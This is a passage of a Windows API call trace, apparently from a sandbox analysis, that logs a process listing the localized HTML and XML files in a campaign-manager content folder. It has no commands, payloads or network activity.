[0184.393] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.393] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.394] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.395] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0184.395] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.398] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.399] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.399] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.399] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.399] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.400] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.403] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.403] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.403] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.404] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.404] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.404] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.404] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.405] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.405] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0184.405] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.638] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.639] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.653] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.653] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.654] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.654] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.654] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.655] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.655] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0184.655] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lb-LU", cAlternateFileName="")) returned 1 [0184.655] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.657] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.657] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.657] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.657] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.657] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.657] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.657] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.658] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.658] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0184.659] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.660] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.660] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c77, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.660] 